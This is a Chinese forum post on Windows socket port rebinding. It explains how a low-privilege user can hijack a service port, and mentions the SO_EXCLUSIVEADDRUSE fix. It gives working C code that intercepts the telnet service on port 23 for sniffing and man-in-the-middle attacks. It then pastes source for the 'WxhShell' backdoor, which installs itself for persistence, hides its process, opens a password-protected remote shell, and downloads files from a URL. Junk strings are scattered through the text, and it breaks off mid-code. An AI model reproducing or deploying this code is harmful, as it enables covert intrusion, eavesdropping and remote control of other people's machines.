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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: { owK~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a"4j9cO  
Qk *`9  
  saddr.sin_family = AF_INET; ?zM]p"M  
xp.~i*!`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3{O^q/R  
' cR||VX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +:+q,0~*]  
|9Q4VY'";  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }vgeQh-G  
uzr(gFd  
  这意味着什么?意味着可以进行如下的攻击: TFjb1 a,)  
%7 7v'Pz1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l03{ ezJk[  
bj=kqO;*O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <k+dJ=f  
KLrxlD4\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O4dJ> O  
=W$ f +  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ru9QQaHE  
_8P0iC8Zg#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aEM2xrhy,  
Z9,-FO{#3-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F[R Q6 PW  
Nk*d=vj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CB]#`|f  
^{lcj  
  #include :c)N"EJlI2  
  #include Fuq ;4UcbL  
  #include V(3^ev/  
  #include    ?S9? ?y/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fP# !ywgr%  
  int main() #eadkj #;  
  { ""q76cx  
  WORD wVersionRequested; ~-ZquJ-  
  DWORD ret; ^YiGvZJ  
  WSADATA wsaData; 4+I@   
  BOOL val; ammlUWl  
  SOCKADDR_IN saddr; )_BQ@5NK  
  SOCKADDR_IN scaddr; (?4m0Sn>#h  
  int err; .5*5S[  
  SOCKET s; jwhc;y  
  SOCKET sc; dxfF.\BFDn  
  int caddsize; |C"(K-do  
  HANDLE mt; =z#6mSx|W  
  DWORD tid;   BQTZt'p  
  wVersionRequested = MAKEWORD( 2, 2 ); |Lf>Z2E  
  err = WSAStartup( wVersionRequested, &wsaData ); "sh*,K5x|  
  if ( err != 0 ) { 7vZtEwC)n  
  printf("error!WSAStartup failed!\n"); ZEa31[@B[  
  return -1; q(xr5iuP_  
  } VZF;  
  saddr.sin_family = AF_INET; n.is+2t  
   AH-B/c5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S\5%nz \  
t$~CLq5ad  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NhJ]X cfP8  
  saddr.sin_port = htons(23); U1nObA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C)Ep}eHjf_  
  { %x{jmZ$}  
  printf("error!socket failed!\n"); o_ng{SL  
  return -1; 6)=`&>9  
  } -@bOFClE  
  val = TRUE; -4wr)zjfW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lidVe]>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V9`?s0nn^  
  { ./5LV)_`  
  printf("error!setsockopt failed!\n"); M18 >%zM  
  return -1; -J &y]'  
  } x Zp`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gi {rqM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k4T`{s}e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KEfN!6  
Uzh#z eZ`<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z;/QB6|%  
  { qh9d .Q+n  
  ret=GetLastError(); =1#obB  
  printf("error!bind failed!\n"); m4\e `nl  
  return -1; D *=.;Rq  
  } {:;6 *W  
  listen(s,2); c o 8bnH  
  while(1) 0nr5(4h  
  { qkXnpv  
  caddsize = sizeof(scaddr); ^k J>4  
  //接受连接请求 O, .c gX   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q&5s,)w-  
  if(sc!=INVALID_SOCKET) !#y_vz9  
  { G]v BI=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UpTVLx^c  
  if(mt==NULL) mY= Q#nG  
  { CH9Psr78  
  printf("Thread Creat Failed!\n"); x3AAn,m8  
  break; DyPHQ}G  
  } GBYeiEgZh  
  } :MaP58dhh  
  CloseHandle(mt); <#nt?Xn  
  } s,CN<`/>x  
  closesocket(s); x`:c0y9uG  
  WSACleanup(); q!;u4J  
  return 0; )&6ZgRq  
  }    LA]UIM@  
  DWORD WINAPI ClientThread(LPVOID lpParam) i2P:I A|@  
  { TI/5'Oke$  
  SOCKET ss = (SOCKET)lpParam; ]Z IreI  
  SOCKET sc; +7 \"^D  
  unsigned char buf[4096];  L}=DC =E  
  SOCKADDR_IN saddr; z{H=;"+rh  
  long num; gCV+amP  
  DWORD val; Y6 <.]H  
  DWORD ret; j DkBe-`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3p1U,B}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kk>z,A4 h_  
  saddr.sin_family = AF_INET; *$]50 \W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u']}Z% A9`  
  saddr.sin_port = htons(23); p!o-+@ava  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HT:V;?"  
  { 1K#%mV_  
  printf("error!socket failed!\n"); XjXz#0nR  
  return -1; b|-}?@&7&q  
  } SPT?Tt  
  val = 100; W" Tj.oCUG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V_3K((P6  
  { _I?oR.ON33  
  ret = GetLastError(); gb{8SG5ac  
  return -1; M]Hf>7p  
  } T@jv0/(+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;&dMtYb  
  { ~_SRcM{  
  ret = GetLastError(); yGY:EvH^?  
  return -1; V]Rt[l]  
  } WJJmM*>JW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0Ke2%+yqJ  
  { }Uu#N H  
  printf("error!socket connect failed!\n"); hnimd~E52k  
  closesocket(sc); p%R+c  
  closesocket(ss); 4L bll%[9  
  return -1; XL7||9,(h  
  } :85QwN]\  
  while(1) TKp2C5bX  
  { gNJdP!(t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !bIE%cq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B[IWgvB(e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5?Ukf$)x  
  num = recv(ss,buf,4096,0); a9u2Wlz  
  if(num>0) I5@8=rFk  
  send(sc,buf,num,0); J#gG*(  
  else if(num==0) r=HL!XFk  
  break; Wl7S<>hg4  
  num = recv(sc,buf,4096,0); Q?V+ 0J  
  if(num>0) -TMg9M4  
  send(ss,buf,num,0); 9m.MGJbQ_f  
  else if(num==0) Dz&,g+>$J  
  break; "TI>_~  
  }  p9 G{Q  
  closesocket(ss); #-i#mbZ e  
  closesocket(sc); WMa`! Q  
  return 0 ; Y P,>vzW  
  } 6e S~*  
K$l@0r ~k  
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========================================================== 3 a|pk4M  
h1H$3TpP  
下边附上一个代码,,WXhSHELL &hUEOif  
H$V`,=H  
========================================================== dT0>\9ZNr  
1Va=.#<  
#include "stdafx.h" F9"Xu-g  
Z~w2m6;s  
#include <stdio.h> Wecxx^vtv6  
#include <string.h> S5kD|kJ  
#include <windows.h> R^mkQb>m.  
#include <winsock2.h> |c>.xt~  
#include <winsvc.h> c^rWS&)P  
#include <urlmon.h> CZE!@1"<{  
W^7yh&@lU  
#pragma comment (lib, "Ws2_32.lib") SOZs!9oi  
#pragma comment (lib, "urlmon.lib") )PkW,214#  
@?jtB  
#define MAX_USER   100 // 最大客户端连接数 )FSEHQ  
#define BUF_SOCK   200 // sock buffer 2OpkRFFa  
#define KEY_BUFF   255 // 输入 buffer -u7NBtgUh  
qRR%aJ/  
#define REBOOT     0   // 重启 dBwoAq`'  
#define SHUTDOWN   1   // 关机 mMvAA;  
bU[_YuJbM  
#define DEF_PORT   5000 // 监听端口 d}%-vm} 0  
~MP |L?my  
#define REG_LEN     16   // 注册表键长度 ;%Px~g  
#define SVC_LEN     80   // NT服务名长度 E0x\h<6W~  
=XtQ\$Pax  
// 从dll定义API 4K\o2p?4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !9{UBAh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O._\l?m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R58NTPm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %ZcS"/gf  
9|3sNFGX  
// wxhshell配置信息 W/3sJc9  
struct WSCFG { E%( s=YhW  
  int ws_port;         // 监听端口 Ex Q\qp3  
  char ws_passstr[REG_LEN]; // 口令 tJ7F.}\;C  
  int ws_autoins;       // 安装标记, 1=yes 0=no #.!#"8{0_  
  char ws_regname[REG_LEN]; // 注册表键名 Y9gw ('\w  
  char ws_svcname[REG_LEN]; // 服务名 jABFdNjri  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SME9hS$4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =j{tFxJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4l{$dtKbI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )&O6d .  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mna yiJl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c%WO#}r|  
xXc>YTK'  
}; ~ g-(  
m"-kkH{I  
// default Wxhshell configuration LuHRB}W  
struct WSCFG wscfg={DEF_PORT, ;aj;(Z.p)  
    "xuhuanlingzhe", Alo L+eN@  
    1, pF7N = mO  
    "Wxhshell", :b*7TJ\grN  
    "Wxhshell", G"m?2$^-A  
            "WxhShell Service", `qYiic%  
    "Wrsky Windows CmdShell Service", {F2Rv  
    "Please Input Your Password: ", e&2,cQRFV  
  1, f,F1k9-1!  
  "http://www.wrsky.com/wxhshell.exe", W/%hS)75  
  "Wxhshell.exe" [& Z- *a  
    }; 7{(UiQbf  
KK5;6b  
// 消息定义模块 -8Hc M\b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z9g ++]rkJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U[|5:qWs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3 tCTPZy  
char *msg_ws_ext="\n\rExit."; &F/-%l!  
char *msg_ws_end="\n\rQuit."; Q"B8l[  
char *msg_ws_boot="\n\rReboot..."; "\O7_od-  
char *msg_ws_poff="\n\rShutdown..."; '`|j{mBhG  
char *msg_ws_down="\n\rSave to "; 6PYm?i=p?  
z HvE_ -  
char *msg_ws_err="\n\rErr!"; [^?i<z{0C  
char *msg_ws_ok="\n\rOK!"; Z'>UR.g  
NuSdN> 8ll  
char ExeFile[MAX_PATH]; G<=I\T'g;  
int nUser = 0; Y<u%J#'[  
HANDLE handles[MAX_USER]; p"c6d'qe  
int OsIsNt; dq@ * 8ui  
qHp2;  
SERVICE_STATUS       serviceStatus; 1 z~|SmP1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Zs{7km  
6dmb bgO)  
// 函数声明 b_a k@LYiu  
int Install(void); 6r`N\ :18  
int Uninstall(void); U65l o[  
int DownloadFile(char *sURL, SOCKET wsh); tW4X+d"  
int Boot(int flag); \O4s0*gw  
void HideProc(void); ]hS<"=oj  
int GetOsVer(void); w|]Tt="   
int Wxhshell(SOCKET wsl); *;9H\%  
void TalkWithClient(void *cs); vanV|O  
int CmdShell(SOCKET sock); [5p3:D  
int StartFromService(void); u<uc"KY=  
int StartWxhshell(LPSTR lpCmdLine); Gp \-AwE  
MZ&.{SY7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k(pJVez  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1;1;-4k7I  
Y JMs9X~3  
// 数据结构和表定义 l"A/6r!Dp  
SERVICE_TABLE_ENTRY DispatchTable[] = Exqz$'(W9  
{ 7%EIn9P  
{wscfg.ws_svcname, NTServiceMain}, gm2|`^Xq$  
{NULL, NULL} _S7?c^:~  
}; .%{B=_7  
Y,v9o  
// 自我安装 S*=^I2;  
int Install(void) LdH1sHy*d`  
{ S9P({iZK  
  char svExeFile[MAX_PATH]; oJ %Nt&q  
  HKEY key; >qB`0 3>  
  strcpy(svExeFile,ExeFile); ULxQyY;32  
F<4 :P=  
// 如果是win9x系统,修改注册表设为自启动 yna!L@ *@,  
if(!OsIsNt) { JZ`SV}\`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f.uuXK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); krFp q;  
  RegCloseKey(key); |f @A-d X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u9|Eos i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i KQj[%O  
  RegCloseKey(key); u-|%K.A  
  return 0; >oWPwXA  
    } 8^+|I,  
  } X4 S| JT  
} \Db;7wh  
else { ]o]`X$n  
XWAIW= .  
// 如果是NT以上系统,安装为系统服务 Ewp2 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~EY)c~ H  
if (schSCManager!=0) "hI"4xSg  
{ K"XwSZ/  
  SC_HANDLE schService = CreateService 2<5LQr  
  ( G gA:;f46  
  schSCManager, X!LiekU!D  
  wscfg.ws_svcname, 9ybR+dGm+  
  wscfg.ws_svcdisp, Z(c SM  
  SERVICE_ALL_ACCESS, ;Us6:}s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SQ> Yf\  
  SERVICE_AUTO_START, Bo8f52|  
  SERVICE_ERROR_NORMAL, Z(tJd ,  
  svExeFile, 0.wF2!V.  
  NULL, D((/fT)eD  
  NULL, 6Aqv*<1=62  
  NULL, -XL? n/M  
  NULL, SF*mY=1  
  NULL }v2p]D5n.  
  ); YT oG'#qs  
  if (schService!=0) d*Su c  
  { 9&=%shOc+x  
  CloseServiceHandle(schService); AZhI~QWo  
  CloseServiceHandle(schSCManager); 1}|y^oB\-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yN{**?b  
  strcat(svExeFile,wscfg.ws_svcname); jZqa+nG51  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  *\xRNgEQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]~dB| WB  
  RegCloseKey(key); 9 c9$cnQ  
  return 0; xjU0&  
    } hz;SDaBA  
  } `Zo5!"'  
  CloseServiceHandle(schSCManager); jrN 5l1np  
} *!y04'p`<  
} c^1JSGv  
ef{Hj[8  
return 1; *vRHF1)L  
} eWm'eO  
<:/aiX8  
// 自我卸载 #UymD-yII  
int Uninstall(void) Z"Hq{?l9  
{ :RB7#v={  
  HKEY key; 9-m_ e=jk6  
/G7^l>pa  
if(!OsIsNt) { ,Aq, f$5V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c/bT5TIEWs  
  RegDeleteValue(key,wscfg.ws_regname); C$])q`9  
  RegCloseKey(key); u;^H=7R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [= E=H*j  
  RegDeleteValue(key,wscfg.ws_regname); vFJ4`Gjw(  
  RegCloseKey(key); [7`S`\_NK  
  return 0; UV;I6]$}A7  
  } l2Py2ZI-b  
} $aTo9{M^  
} {)r[?%FMgV  
else { i=b'_SZ '  
@]X!#&2>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wjX0r7^@  
if (schSCManager!=0) C'A D[`p  
{ `{"V(YMEV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !K*3bY`#  
  if (schService!=0) :jTbzDqQ  
  { 2ALYfZ|d  
  if(DeleteService(schService)!=0) { b4$.uLY  
  CloseServiceHandle(schService); !?i9fYu  
  CloseServiceHandle(schSCManager); 502(CO>  
  return 0; mXJG &EA  
  } gPK O-Fsd"  
  CloseServiceHandle(schService); ?P7QAolrr  
  } %iIr %P?  
  CloseServiceHandle(schSCManager); l@UF-n~[  
} >/C,1}p[  
} /P3Pv"r|8]  
:k.>H.8+~  
return 1; FN sSJU3ld  
} U/U_q-z]  
olo9YrHn  
// 从指定url下载文件 /8_x]Es/  
int DownloadFile(char *sURL, SOCKET wsh) A;C4>U Y  
{ O[1Q#  
  HRESULT hr; , 82?kky  
char seps[]= "/"; 0[g5[?Vy  
char *token; i0x[w>\-  
char *file; UeB St.  
char myURL[MAX_PATH]; 'SG<F,[3  
char myFILE[MAX_PATH]; -t`KCf,0  
fH ,h\0  
strcpy(myURL,sURL); PR7bu%Y*eD  
  token=strtok(myURL,seps); p'/%"  
  while(token!=NULL) t2.]v><  
  { {|zQ .s A  
    file=token; aFrZ ;_  
  token=strtok(NULL,seps); 0_>1CW+X  
  } f]Z9=  
|9CPT%A#  
GetCurrentDirectory(MAX_PATH,myFILE); 2U+wiE|  
strcat(myFILE, "\\"); ,5*<C'9  
strcat(myFILE, file); R<h:>.M  
  send(wsh,myFILE,strlen(myFILE),0); "wV7PSbM  
send(wsh,"...",3,0); jw2hB[WR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S|RUc}(  
  if(hr==S_OK) Jn0L_@  
return 0; Fok`-U  
else LwQYO'X  
return 1; `$;%%/tx  
1RQM-0W,  
} =cR=E{20  
0F 4%Xz  
// 系统电源模块 1@]gBv<  
int Boot(int flag) 5X-d,8{w _  
{ %. IW H9P7  
  HANDLE hToken; |oOA;JC)(  
  TOKEN_PRIVILEGES tkp; pi*?fUg!W  
F*B^#AZg  
  if(OsIsNt) { G"<} s mB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~|wh/]{b9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xdf;'|HO  
    tkp.PrivilegeCount = 1; ",E$}= ,Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P'5Q}7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $kQQdF  
if(flag==REBOOT) { 8`w#)6(V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l=&Va+K  
  return 0; 1NlpOVq:)  
} ^''3}<Ep  
else { <^A1.o< GN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c30 kb  
  return 0; *zPz)3;  
} G`jJKiC  
  } .)=j~}\  
  else { VelX+|w  
if(flag==REBOOT) { l) )Cvre+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R^4 j0L  
  return 0; g>f_'7F&  
} H]f8W]"c[  
else { M059"X="  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -S}^b6WL  
  return 0; pe`&zI_`?  
} ^w}BXVn  
} UbwD2>  
0_map z  
return 1; H 4W4# \M  
} n<7R6)j6  
QW@`4W0F  
// win9x进程隐藏模块 G?yG|5.pU  
void HideProc(void) 1FEY&rpR  
{ s\1c.  
->YF</I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0',-V2  
  if ( hKernel != NULL ) h IUO=f  
  { [E%Ov0OC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z 4`H<Pn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &f>1/"lnd\  
    FreeLibrary(hKernel); _/[(&}M  
  } w8AHs/'r  
cLnvb!g'#  
return; h)C `w'L  
} OOX}S1lA  
<~!R|5sK  
// 获取操作系统版本 !Ry4 w|w  
int GetOsVer(void) :E9@9>3S  
{ k<NEauQ  
  OSVERSIONINFO winfo; Z0%Qy+%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7(= 09z  
  GetVersionEx(&winfo); K~>ESMZ5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3/((7O[  
  return 1; < G:G/  
  else ob.=QQQs  
  return 0; w!^{Q'/,Q  
} PP)-g0^@  
iYxpIqWw  
// 客户端句柄模块 5PCKBevV  
int Wxhshell(SOCKET wsl)  ZzuWN&  
{ BIjQ8 t  
  SOCKET wsh; $T80vEi+u  
  struct sockaddr_in client; u~^d5["T  
  DWORD myID; ;v1&Rs  
6>B_ojj:  
  while(nUser<MAX_USER) |;_uN q9  
{ okZDxg`6  
  int nSize=sizeof(client); |\~!o N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U*6)/.J  
  if(wsh==INVALID_SOCKET) return 1; -gKo@I  
mC(q8%/;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o}K!p %5_  
if(handles[nUser]==0) S+(-k0  
  closesocket(wsh); Od:, r  
else #\fxU:z~r  
  nUser++; V ZArdXTP  
  } n$T'gX#5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <U() *0  
xT$9M"  
  return 0; ^8yhx-mgb  
} wtw  
gNG_,+=!  
// 关闭 socket ]RJcY1  
void CloseIt(SOCKET wsh) m0 k~8^L@f  
{ fgSe]q//  
closesocket(wsh); _7"G&nZ0  
nUser--; Pb^Mc <j  
ExitThread(0); ("L&iu\`@  
} &qP&=( $  
u;qBW uO  
// 客户端请求句柄 z!GLug*j`  
void TalkWithClient(void *cs) jQs"8[=s  
{ J,k|_JO  
oopACE>  
  SOCKET wsh=(SOCKET)cs; g"iLhm` L  
  char pwd[SVC_LEN]; u/BCl!`  
  char cmd[KEY_BUFF]; }vbs6u  
char chr[1]; s" jxj  
int i,j; CcHf1 _CI  
M1/Rba Q  
  while (nUser < MAX_USER) { q-fxs8+m|  
( o_lH2  
if(wscfg.ws_passstr) { !5P\5WF~Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,:QzF"MV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'bXm,Ed  
  //ZeroMemory(pwd,KEY_BUFF); 1c} %_Z/  
      i=0; A%pBvULH  
  while(i<SVC_LEN) { #X(KW&;m  
D|}%(N@sl  
  // 设置超时 Ol~j q;75  
  fd_set FdRead; jCMr[ G=  
  struct timeval TimeOut; AVys`{*c  
  FD_ZERO(&FdRead); 2=TQU33#  
  FD_SET(wsh,&FdRead); Uva b*9vX  
  TimeOut.tv_sec=8; (*Jcx:rH  
  TimeOut.tv_usec=0; .(0'l@#fT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aAr gKM f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &K_"5.7-56  
y[s* %yP3l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8)D5loS  
  pwd=chr[0]; Ck|3DiRQ  
  if(chr[0]==0xd || chr[0]==0xa) { 0OndSa,  
  pwd=0; <4{,u1!t  
  break; L"akV,w4p  
  } t@TBx=16  
  i++; '@ym-\,  
    } \lnpsf  
Ls#= R  
  // 如果是非法用户,关闭 socket ]iyJ>fC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =!b<@41  
} u2SnL$A7  
|[ tlR`A$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vPn(~d_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tf?u ;n  
]F5qXF5  
while(1) { Jbud_.h9  
J3oj}M*  
  ZeroMemory(cmd,KEY_BUFF); DL5`A?/  
<wt#m`Za  
      // 自动支持客户端 telnet标准   #4ZDY,>Xi#  
  j=0; t UJ m}+=>  
  while(j<KEY_BUFF) { J1^6p*]GX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U}55;4^LX  
  cmd[j]=chr[0]; O3JN?25s  
  if(chr[0]==0xa || chr[0]==0xd) { SEn-8ZF  
  cmd[j]=0; Rl7V~dUY  
  break; w a!g/ \  
  } |-Z9-rl  
  j++; MOuI;EF  
    } >g ]S"ku|  
#-ioLt%  
  // 下载文件 /hPgOaB  
  if(strstr(cmd,"http://")) { V=pg9KR!T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %C_RBd  
  if(DownloadFile(cmd,wsh)) W 2VH?-Gw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xr uQ=Q  
  else tK3.HvD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4}FuoQL  
  } {%(_Z`vI  
  else { ]wg+zOJu]+  
E>tlY&0[$  
    switch(cmd[0]) { $d4^e&s  
  uP\?y(= "  
  // 帮助 }b-"[TDEF  
  case '?': { :xitV]1.   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $6~D 2K  
    break; b]v.jgD  
  } /lKgaq.  
  // 安装 m L#-U)?F  
  case 'i': { !@9Vq6  
    if(Install()) d&: ABI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~VZ)LQ'7  
    else ?u/Uov@rD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fKzOt<wm  
    break; G2]/g  
    } gdupG  
  // 卸载 / vI sX3v  
  case 'r': { J G xuB*}  
    if(Uninstall()) PiMW 29B^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PpPg ~ix*  
    else #/NZ0IbHk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VC "66 \d&  
    break; eeX^zaKl]  
    } w(O/mUDX  
  // 显示 wxhshell 所在路径 {{c/:FTEU  
  case 'p': { o +sb2:x  
    char svExeFile[MAX_PATH]; fRp+-QvE  
    strcpy(svExeFile,"\n\r"); g@!mV)c97  
      strcat(svExeFile,ExeFile); F6*n,[5(  
        send(wsh,svExeFile,strlen(svExeFile),0); yUF<qB  
    break; -s`/5kD  
    } -/:N&6eRb  
  // 重启 S}Wj+H;  
  case 'b': { C%LRb{|d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gVM9*3LH6  
    if(Boot(REBOOT)) 0oI3Fb;E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/ir("LK  
    else { A)/ 8FYc  
    closesocket(wsh); Az29?|e  
    ExitThread(0); isaDIl;L/  
    } NIcPjo  
    break; xS%Z   
    } .lVC>UT  
  // 关机 jM8e2z3  
